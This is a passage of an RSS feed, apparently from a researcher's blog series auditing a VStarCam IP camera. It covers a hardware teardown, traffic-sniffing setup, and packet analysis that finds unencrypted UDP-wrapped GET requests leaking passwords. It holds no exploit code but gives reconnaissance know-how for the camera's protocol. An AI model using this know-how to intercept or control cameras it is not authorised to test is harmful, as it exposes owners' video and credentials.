<p>After that, we will fully connect the camera to the app, changing the password, as well as using various features, such as camera control, taking videos/pictures, changing settings, etc.</p>
<p>Once we are satisfied with our captures, we will begin dissecting them packet by packet.</p>
<h2>Boot Sequence</h2>
<p>First impressions of boot sequence captures, what do we notice?</p>
<p>1. Take a look at some of the packets in the capture. 1. Do we see packets that have similar contents? 2. Can we see similar parts of packets that have small contents changed or replaced. 3. Do we see plaintext words/phrases? 4. Do we see commonly known numbers, ids, serial numbers, etc?</p>
<p>If you answered yes to any of these then the device most likely doesn&#39;t use encryption. This also means the device leaks data.</p>
<p>So let&#39;s go through the packets.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark1.png" style="width: 100%; height: 100%;">
</center>
<p>The first weird thing I noticed is that the camera picked up a weird IP address for my network. It started out with the ip address 192.168.1.126, but my internal network range is 192.168.11.(100-254) meaning this camera had already come with this configuration. It also broadcasts an ARP looking for 192.168.1.1, and sends out a bunch of &quot;Hello I&#39;m online!&quot; messages. Already this doesn&#39;t bode well, as it looks like they aren&#39;t using any encryption. Maybe it&#39;s a fluke, let&#39;s dive deeper.</p>
<p>I also saw that the device also contacts a couple external hosts</p>
<p><em> s2.vstarcam.com via UDP </em> s3.vstarcam.com via UDP <em> s2.eye4.cn via UDP </em> An Amazon EC2 instance via UDP <em> Google&#39;s public DNS, looking for baidu, wshifen.com, a.shifen.com </em> An Alibaba cloud instance which it talks to via HTTPS. <em> A Tencent cloud instance which it talks to via HTTP </em> time.windows.com via NTP</p>
<p>What did we learn?</p>
<p><em> The device may not use encryption </em> The device may leak data as a result.</p>
<p>Let&#39;s take a look at the client&#39;s first registering of the camera, and it&#39;s first communications.</p>
<h2>Registering the camera</h2>
<p>I loaded the app onto an android emulator and went to town. I started by registering  the camera to the client by using the &quot;search for LAN&quot; feature.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark2.png" style="width: 100%; height: 100%;">
</center>
<p>First thing we notice is that when the Android client initiates the connection, it doesn&#39;t talk directly to the camera, it instead sends a UDP packet with the contents 0x44480101. We will call this the <strong>Discovery Broadcast Packet</strong> or <strong>DBP</strong> for short. he camera then replies back with a 0x44480108, and then dumps a bunch of settings information to the broadcast address. We will call this the <strong>Discovery Broadcast Reply</strong> or <strong>DBR</strong>.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark3.png" style="width: 100%; height: 100%;">
</center>
<p>For some reason Wireshark labels this packet as an <a href="https://wiki.wireshark.org/ASTERIX">ASTERIX</a> packet, which when I looked it up seems to have nothing to do with this protocol. Maybe it shares a port or something and Wireshark incorrectly labels it.</p>
<p>When you look at the data incoming, we can start to see how this packet is laid out. The first 4 bytes are a signal to the client that it&#39;s looking for it, the followed by a space specifically carved out for an IP address, plus one 0x00 byte to delimit. The way we can tell this is because if we were to count the chars in a full IP address string (XXX.XXX.XXX.XXX which is 15 bytes, plus a 0x00 byte to delimit, making it 16 bytes.) We can see the next IP address (Which is the netmask) would be adjacent to that.</p>
<p>The camera then sends an exact copy of the packet it just broadcast, directly to the client.</p>
<p>After this little dance the camera and client talk directly to each other. We see it chooses the port 47499, which when converted into hex is 0xB98B. We can see in the 0x80 row of the large packet above, there is a 0xB98B in little endian. This must be how the camera negotiates what port the client will talk to after the discovery phase.</p>
<p>When we compare this port number to our other captures, (remember, I captured the registration process, then reset the device, then did it again to see if I could notice any patterns.) we notice that the port changes with every reboot.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark5.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the contents of the HTTP GET request shows a sad truth, the devices doesn&#39;t use any encryption for it&#39;s client communications. This super concerning because not only does this compromise security of the device, especially on wireless, in an earlier capture, we have SEEN the device actually use SSL. So they are just choosing not to?</p>
<p>Looking at the reply brings much of the same sadness.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark6.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the HTTP headers, we can also see that the web server the device is GoAhead webs, an embedded web server, and it also hasn&#39;t been updated since 2004. JUICY!</p>
<p>So this is where it gets interesting.</p>
<p>So, they already have an HTTP server to talk to the camera and serve CGI scripts, but they decided to add an extra protocol on top of that. This is where some strange UDP protocol starts to come into play.</p>
<p>Even though the camera and client were literally just talking via HTTP, it seems to forget all about that and try again to search for a new camera. The client sends out a 0xf1300000 packet to my subnet&#39;s broadcast address (192.168.11.255). We will call this packet the <strong>Broadcast Connection Packet</strong> or <strong>BCP</strong> for short.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark7.png" style="width: 100%; height: 100%;">
</center>
<p>The camera then replies back with a small part of its UID and the letter A. The client repeats this message back to the camera. We will call this the <strong>Broadcast Packet SYN</strong> or <strong>BPS</strong> for short.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark8.png" style="width: 100%; height: 100%;">
</center>
<p>The camera then sends the same packet back, this time with the A changed to a B. We will call this the <strong>Broadcast Packet ACK</strong> or <strong>BPA</strong> for short</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark9.png" style="width: 100%; height: 100%;">
</center>
<p>Finally we arrive at the main phase of the connection, here we can observe three things happening.</p>
<p>1. The client and the camera are constantly engaging in a &quot;ping pong&quot; pattern message loop, where if either the client or the camera receives a 0xF1E0000 or 0xF1E10000, it replies back with the other packet. So for example, if a 0xF1E0000 is received it will reply back with 0xF1E10000. For reference 0xF1E0000 is ping, and 0xF1E1000 is pong. <em> You can illustrate this best by using the Wireshark filter below </em> <code>frame contains F1:E1:00:00 || frame contains F1:E0:00:00</code> * &lt;img src=&quot;/images/vstarcam/wireshark/wireshark10.png&quot; style=&quot;width: 100%; height: 100%;&quot;&gt;</p>
<p>2. The client sends GET requests with a special header, via UDP to the camera. The client receives replies back denoting success or failure, and the results of the query, sometimes broken up into multiple packets. 3. The client receives video and picture data from the camera. <em> livestream.cgi </em> snapshot.cgi * audiosteam.cgi Let&#39;s focus a little more on number two, since one is already solved, and three requires more extensive knowledge of video formats and decoding.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark11.png" style="width: 100%; height: 100%;">
</center>
<p>The first 16 bytes of the packet are some sort of specialized header. We are going to want to get more samples of these to be able to learn how to forge our own. We also want to get samples to see if it might be vulnerable to replay tactics as, the header might block potential replay attacks. After that comes the GET request. Right off the bat we are hit with another oddity of the client, credential leakage, and unnecessary duplication. Not only are the communications not encrypted, so it also leaks the password on every GET interaction but, it also repeats the credentials twice just in case the first time wasn&#39;t good enough.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark12.png" style="width: 100%; height: 100%;">
</center>
<p>A short time afterwards the camera sends a packet that looks like this. This seems to acknowledge that the command went through.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark13.png" style="width: 100%; height: 100%;">
</center>
<p>Here we see another GET Request but this one is called &quot;trans_cmd_string&quot;. No idea what this did at the time, but I took note of the two arguments cmd, and command.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark14.png" style="width: 100%; height: 100%;">
</center>
<p>We see a standard reply, again, comes with a special 16 byte header, and what seems to be some sort of Javascript or some sort of configuration. This was the reply to check_users.cgi.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark15.png" style="width: 100%; height: 100%;">
</center>
<p>This is another oddity, some times the GET request would have multiple stacked inside, starting with a 16 byte header, and padding each request with 8 bytes in the front.</p>
<p>What did we learn?</p>
<p><em> The device has some sort of HTTP service open, but the port changes for some reason, most likely with reboot. </em> The device has some strange UDP protocol that encapsulates GET requests sent to the netcam. <em> The device leaks username and password, as well as has confusing and strange argument duplication </em> The device uses no encryption what-so-ever to encrypt video feeds and pictures sent by the device to the client. <em> UDP GET requests have a special packet header </em> The protocol is written in faulty ways, exemplified by the duplication of elements, strange request packing, and odd behavior.</p>
]]></description>
      <content:encoded><![CDATA[<p>I figured since a majority of people would be using the Android client, I would start my audit there. The Android app, Eye4, is available in two separate downloads, one from the <a href="http://www.eye4.so/AppDown.html">Eye4 site</a>, and one from the <a href="https://play.google.com/store/apps/details?id=vstc.vscam.client&amp;hl=en">Play store</a>. They also have a <a href="http://www.eye4.so/download/">Windows download</a>, which I will audit later.</p>
<p>The first thing I wanted to do is compare the Play store APK with the Eye4 site APK to see if there is any foul play going on, but unfortunately their personal download on the site didn&#39;t work and lead to a blank page.</p>
<p>We want to start our network sniffer, and begin our testing process.</p>
<p>First thing we want to do is boot the camera up after resetting it for the first time. This makes sure we have a clean slate when working with the camera. We will be resetting the camera multiple times to make sure we have lots of samples to compare.</p>
<p>Without connecting to any client, we will boot the camera up, connect to our sniffer, capture all the boot network data, then reset the camera, stop capture, and restart the whole thing. We do this about 2-3 times to get an idea of what the booting process looks like.</p>
<p>After that, we will connect the camera to the client, by searching for LAN in the client and connecting that way. Delete the camera, reset, then try it again. Do this multiple times to get multiple captures.</p>
<p>After that, we will fully connect the camera to the app, changing the password, as well as using various features, such as camera control, taking videos/pictures, changing settings, etc.</p>
<p>Once we are satisfied with our captures, we will begin dissecting them packet by packet.</p>
<h2>Boot Sequence</h2>
<p>First impressions of boot sequence captures, what do we notice?</p>
<p>1. Take a look at some of the packets in the capture. 1. Do we see packets that have similar contents? 2. Can we see similar parts of packets that have small contents changed or replaced. 3. Do we see plaintext words/phrases? 4. Do we see commonly known numbers, ids, serial numbers, etc?</p>
<p>If you answered yes to any of these then the device most likely doesn&#39;t use encryption. This also means the device leaks data.</p>
<p>So let&#39;s go through the packets.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark1.png" style="width: 100%; height: 100%;">
</center>
<p>The first weird thing I noticed is that the camera picked up a weird IP address for my network. It started out with the ip address 192.168.1.126, but my internal network range is 192.168.11.(100-254) meaning this camera had already come with this configuration. It also broadcasts an ARP looking for 192.168.1.1, and sends out a bunch of &quot;Hello I&#39;m online!&quot; messages. Already this doesn&#39;t bode well, as it looks like they aren&#39;t using any encryption. Maybe it&#39;s a fluke, let&#39;s dive deeper.</p>
<p>I also saw that the device also contacts a couple external hosts</p>
<p><em> s2.vstarcam.com via UDP </em> s3.vstarcam.com via UDP <em> s2.eye4.cn via UDP </em> An Amazon EC2 instance via UDP <em> Google&#39;s public DNS, looking for baidu, wshifen.com, a.shifen.com </em> An Alibaba cloud instance which it talks to via HTTPS. <em> A Tencent cloud instance which it talks to via HTTP </em> time.windows.com via NTP</p>
<p>What did we learn?</p>
<p><em> The device may not use encryption </em> The device may leak data as a result.</p>
<p>Let&#39;s take a look at the client&#39;s first registering of the camera, and it&#39;s first communications.</p>
<h2>Registering the camera</h2>
<p>I loaded the app onto an android emulator and went to town. I started by registering  the camera to the client by using the &quot;search for LAN&quot; feature.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark2.png" style="width: 100%; height: 100%;">
</center>
<p>First thing we notice is that when the Android client initiates the connection, it doesn&#39;t talk directly to the camera, it instead sends a UDP packet with the contents 0x44480101. We will call this the <strong>Discovery Broadcast Packet</strong> or <strong>DBP</strong> for short. he camera then replies back with a 0x44480108, and then dumps a bunch of settings information to the broadcast address. We will call this the <strong>Discovery Broadcast Reply</strong> or <strong>DBR</strong>.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark3.png" style="width: 100%; height: 100%;">
</center>
<p>For some reason Wireshark labels this packet as an <a href="https://wiki.wireshark.org/ASTERIX">ASTERIX</a> packet, which when I looked it up seems to have nothing to do with this protocol. Maybe it shares a port or something and Wireshark incorrectly labels it.</p>
<p>When you look at the data incoming, we can start to see how this packet is laid out. The first 4 bytes are a signal to the client that it&#39;s looking for it, the followed by a space specifically carved out for an IP address, plus one 0x00 byte to delimit. The way we can tell this is because if we were to count the chars in a full IP address string (XXX.XXX.XXX.XXX which is 15 bytes, plus a 0x00 byte to delimit, making it 16 bytes.) We can see the next IP address (Which is the netmask) would be adjacent to that.</p>
<p>The camera then sends an exact copy of the packet it just broadcast, directly to the client.</p>
<p>After this little dance the camera and client talk directly to each other. We see it chooses the port 47499, which when converted into hex is 0xB98B. We can see in the 0x80 row of the large packet above, there is a 0xB98B in little endian. This must be how the camera negotiates what port the client will talk to after the discovery phase.</p>
<p>When we compare this port number to our other captures, (remember, I captured the registration process, then reset the device, then did it again to see if I could notice any patterns.) we notice that the port changes with every reboot.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark5.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the contents of the HTTP GET request shows a sad truth, the devices doesn&#39;t use any encryption for it&#39;s client communications. This super concerning because not only does this compromise security of the device, especially on wireless, in an earlier capture, we have SEEN the device actually use SSL. So they are just choosing not to?</p>
<p>Looking at the reply brings much of the same sadness.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark6.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the HTTP headers, we can also see that the web server the device is GoAhead webs, an embedded web server, and it also hasn&#39;t been updated since 2004. JUICY!</p>
<p>So this is where it gets interesting.</p>
<p>So, they already have an HTTP server to talk to the camera and serve CGI scripts, but they decided to add an extra protocol on top of that. This is where some strange UDP protocol starts to come into play.</p>
<p>Even though the camera and client were literally just talking via HTTP, it seems to forget all about that and try again to search for a new camera. The client sends out a 0xf1300000 packet to my subnet&#39;s broadcast address (192.168.11.255). We will call this packet the <strong>Broadcast Connection Packet</strong> or <strong>BCP</strong> for short.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark7.png" style="width: 100%; height: 100%;">
</center>
<p>The camera then replies back with a small part of its UID and the letter A. The client repeats this message back to the camera. We will call this the <strong>Broadcast Packet SYN</strong> or <strong>BPS</strong> for short.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark8.png" style="width: 100%; height: 100%;">
</center>
<p>The camera then sends the same packet back, this time with the A changed to a B. We will call this the <strong>Broadcast Packet ACK</strong> or <strong>BPA</strong> for short</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark9.png" style="width: 100%; height: 100%;">
</center>
<p>Finally we arrive at the main phase of the connection, here we can observe three things happening.</p>
<p>1. The client and the camera are constantly engaging in a &quot;ping pong&quot; pattern message loop, where if either the client or the camera receives a 0xF1E0000 or 0xF1E10000, it replies back with the other packet. So for example, if a 0xF1E0000 is received it will reply back with 0xF1E10000. For reference 0xF1E0000 is ping, and 0xF1E1000 is pong. <em> You can illustrate this best by using the Wireshark filter below </em> <code>frame contains F1:E1:00:00 || frame contains F1:E0:00:00</code> * &lt;img src=&quot;/images/vstarcam/wireshark/wireshark10.png&quot; style=&quot;width: 100%; height: 100%;&quot;&gt;</p>
<p>2. The client sends GET requests with a special header, via UDP to the camera. The client receives replies back denoting success or failure, and the results of the query, sometimes broken up into multiple packets. 3. The client receives video and picture data from the camera. <em> livestream.cgi </em> snapshot.cgi * audiosteam.cgi Let&#39;s focus a little more on number two, since one is already solved, and three requires more extensive knowledge of video formats and decoding.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark11.png" style="width: 100%; height: 100%;">
</center>
<p>The first 16 bytes of the packet are some sort of specialized header. We are going to want to get more samples of these to be able to learn how to forge our own. We also want to get samples to see if it might be vulnerable to replay tactics as, the header might block potential replay attacks. After that comes the GET request. Right off the bat we are hit with another oddity of the client, credential leakage, and unnecessary duplication. Not only are the communications not encrypted, so it also leaks the password on every GET interaction but, it also repeats the credentials twice just in case the first time wasn&#39;t good enough.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark12.png" style="width: 100%; height: 100%;">
</center>
<p>A short time afterwards the camera sends a packet that looks like this. This seems to acknowledge that the command went through.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark13.png" style="width: 100%; height: 100%;">
</center>
<p>Here we see another GET Request but this one is called &quot;trans_cmd_string&quot;. No idea what this did at the time, but I took note of the two arguments cmd, and command.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark14.png" style="width: 100%; height: 100%;">
</center>
<p>We see a standard reply, again, comes with a special 16 byte header, and what seems to be some sort of Javascript or some sort of configuration. This was the reply to check_users.cgi.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark15.png" style="width: 100%; height: 100%;">
</center>
<p>This is another oddity, some times the GET request would have multiple stacked inside, starting with a 16 byte header, and padding each request with 8 bytes in the front.</p>
<p>What did we learn?</p>
<p><em> The device has some sort of HTTP service open, but the port changes for some reason, most likely with reboot. </em> The device has some strange UDP protocol that encapsulates GET requests sent to the netcam. <em> The device leaks username and password, as well as has confusing and strange argument duplication </em> The device uses no encryption what-so-ever to encrypt video feeds and pictures sent by the device to the client. <em> UDP GET requests have a special packet header </em> The protocol is written in faulty ways, exemplified by the duplication of elements, strange request packing, and odd behavior.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Password Hashes &amp; Exploitation</title>
      <link>https://sol.vin/vstarcam_journey/2.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/2.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <category domain="skill">Crystal</category>
      <category domain="skill-slug">crystal</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Crystal</dc:subject>
      <description><![CDATA[<p>Before I work on sniffing the client communications, I wanted to try a little discovery first to see anything interesting with the device.</p>
<h2>Nmap</h2>
<p>Since the device was pretty much a black box to me, I wanted to see if I could discover any services/open ports beforehand. Nmap didn&#39;t notice any open ports when I scanned, which was a bit odd.</p>
<h2>Setting up network sniffing</h2>
<p>You can set this up one of two ways depending on the hardware.</p>
<h3>Poor man&#39;s method</h3>
<p><em> Two USB to Ethernet Dongles (<a href="https://www.amazon.com/gp/product/B00M77HMU0/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&amp;psc=1">Recommended</a>) </em> Two PCI Wired Ethernet Cards</p>
<p>Use a utility called <a href="https://linux.die.net/man/8/brctl">brctl</a>, it&#39;s fairly straight forward to set this up, but I did have issues here and there with weird drops in connection.</p>
<p>These are the commands I used <em> brctl addbr br0 </em> brctl addif br0 [camera-interface] * brctl addif br0 [sniffing-interface]</p>
<h3>Rich man&#39;s method</h3>
<p>For this you need <em> One USB to Ethernet Dongle or PCI Wired Ethernet Card </em> Enterprise level switch</p>
<p>When I found out I could do this with my Cisco Catalyst 3750 I was ecstatic. For some reason, bridging didn&#39;t always work 100% as expected with the USB dongles and sometimes my internet would drop out while I was listening in on the camera. Once I found out you can use monitor session to forward packets from the camera to a one directional port, it saved me a lot of time and heart ache.</p>
<p>Just add this to your config. <em> monitor session 1 source interface Gi4/0/13 </em> monitor session 1 destination interface Gi4/0/23</p>
<p>You can then plug ther USB dongle into the switch on port 23, and all port 13 traffic will be routed there as well!</p>
]]></description>
      <content:encoded><![CDATA[<p>Before I work on sniffing the client communications, I wanted to try a little discovery first to see anything interesting with the device.</p>
<h2>Nmap</h2>
<p>Since the device was pretty much a black box to me, I wanted to see if I could discover any services/open ports beforehand. Nmap didn&#39;t notice any open ports when I scanned, which was a bit odd.</p>
<h2>Setting up network sniffing</h2>
<p>You can set this up one of two ways depending on the hardware.</p>
<h3>Poor man&#39;s method</h3>
<p><em> Two USB to Ethernet Dongles (<a href="https://www.amazon.com/gp/product/B00M77HMU0/ref=ppx_yo_dt_b_asin_title_o04_s00?ie=UTF8&amp;psc=1">Recommended</a>) </em> Two PCI Wired Ethernet Cards</p>
<p>Use a utility called <a href="https://linux.die.net/man/8/brctl">brctl</a>, it&#39;s fairly straight forward to set this up, but I did have issues here and there with weird drops in connection.</p>
<p>These are the commands I used <em> brctl addbr br0 </em> brctl addif br0 [camera-interface] * brctl addif br0 [sniffing-interface]</p>
<h3>Rich man&#39;s method</h3>
<p>For this you need <em> One USB to Ethernet Dongle or PCI Wired Ethernet Card </em> Enterprise level switch</p>
<p>When I found out I could do this with my Cisco Catalyst 3750 I was ecstatic. For some reason, bridging didn&#39;t always work 100% as expected with the USB dongles and sometimes my internet would drop out while I was listening in on the camera. Once I found out you can use monitor session to forward packets from the camera to a one directional port, it saved me a lot of time and heart ache.</p>
<p>Just add this to your config. <em> monitor session 1 source interface Gi4/0/13 </em> monitor session 1 destination interface Gi4/0/23</p>
<p>You can then plug ther USB dongle into the switch on port 23, and all port 13 traffic will be routed there as well!</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Exploit PoC Development</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
    <li><strong>Crystal</strong> (<em>Languages</em>) &bull; 8 years &mdash; A fast, compiled, statically typed language with Ruby-inspired syntax. [<a href="https://crystal-lang.org">Website</a> | <a href="https://github.com/crystal-lang/crystal">Github</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>Network Protocol Analysis</title>
      <link>https://sol.vin/vstarcam_journey/1.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/1.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">C</category>
      <category domain="skill-slug">c</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>C</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/1.jpg" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/2.jpg" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/3.jpg" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/4.jpg" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/5.jpg" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/1.jpg" />
      <description><![CDATA[<p>The camera itself has some pretty useful hardware, some which could be very easily taken advantage of with the right tools.</p>
<p>Just a couple simple Phillips screws and you are inside.</p>
<center>
<img src="/images/vstarcam/1.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/2.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/3.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/4.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/5.jpg" style="width: 50%; height: 50%;">
</center>
<p>The processor it uses is a <a href="https://cdn.hackaday.io/files/19356828127104/Hi3518%20DataSheet.pdf">HI3518</a> which apparently has already been hacked by other means. I quickly read through <a href="https://felipe.astroza.cl/hacking-hi3518-based-ip-camera/">this article</a> and unfortunately failed to locate any TX/RX pins I could solder into. I was a little disappointed by this, I had a spare <a href="https://www.adafruit.com/product/954?gclid=CjwKCAiA8OjjBRB4EiwAMZe6yxta0hJQ_LydoYYRmQZOcads5iQkKwx57GYrMg-mw2HqAiDatI9WCxoCaYcQAvD_BwE">USB PL2303</a> lying around for just such an occasion.</p>
<p>When googling the HI3518 I noticed a website ispyconnect.com which seemed to be some sort of IP Camera database. I used their <a href="https://www.ispyconnect.com/man.aspx?n=vstarcam&amp;page=1">website to search for my model of camera</a> and ended up finding out the company who manufactured it, <a href="http://www.vstarcam.com/">VStarCam</a>. I want to point out, there is not a single marking anywhere on the device, including on the inside that would signify this to anyone. I also learned on this page that the camera can be potentially controlled by simple GET requests.</p>
<p>On one side of the board you can see an addon board where they added the wireless radio. (It&#39;s the blue PCB with the big silver square and the grey wire)</p>
<p>One other thing of note, the whole camera is powered by 5V DC, meaning you can power this thing off any USB port that can supply at least 1A. This is actually a pretty cool feature, because there are cheap USB battery backup options that could be used to augment the camera so it records even when the power is turned off.</p>
]]></description>
      <content:encoded><![CDATA[<p>The camera itself has some pretty useful hardware, some which could be very easily taken advantage of with the right tools.</p>
<p>Just a couple simple Phillips screws and you are inside.</p>
<center>
<img src="/images/vstarcam/1.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/2.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/3.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/4.jpg" style="width: 50%; height: 50%;">
</center>
<center>
<img src="/images/vstarcam/5.jpg" style="width: 50%; height: 50%;">
</center>
<p>The processor it uses is a <a href="https://cdn.hackaday.io/files/19356828127104/Hi3518%20DataSheet.pdf">HI3518</a> which apparently has already been hacked by other means. I quickly read through <a href="https://felipe.astroza.cl/hacking-hi3518-based-ip-camera/">this article</a> and unfortunately failed to locate any TX/RX pins I could solder into. I was a little disappointed by this, I had a spare <a href="https://www.adafruit.com/product/954?gclid=CjwKCAiA8OjjBRB4EiwAMZe6yxta0hJQ_LydoYYRmQZOcads5iQkKwx57GYrMg-mw2HqAiDatI9WCxoCaYcQAvD_BwE">USB PL2303</a> lying around for just such an occasion.</p>
<p>When googling the HI3518 I noticed a website ispyconnect.com which seemed to be some sort of IP Camera database. I used their <a href="https://www.ispyconnect.com/man.aspx?n=vstarcam&amp;page=1">website to search for my model of camera</a> and ended up finding out the company who manufactured it, <a href="http://www.vstarcam.com/">VStarCam</a>. I want to point out, there is not a single marking anywhere on the device, including on the inside that would signify this to anyone. I also learned on this page that the camera can be potentially controlled by simple GET requests.</p>
<p>On one side of the board you can see an addon board where they added the wireless radio. (It&#39;s the blue PCB with the big silver square and the grey wire)</p>
<p>One other thing of note, the whole camera is powered by 5V DC, meaning you can power this thing off any USB port that can supply at least 1A. This is actually a pretty cool feature, because there are cheap USB battery backup options that could be used to augment the camera so it records even when the power is turned off.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
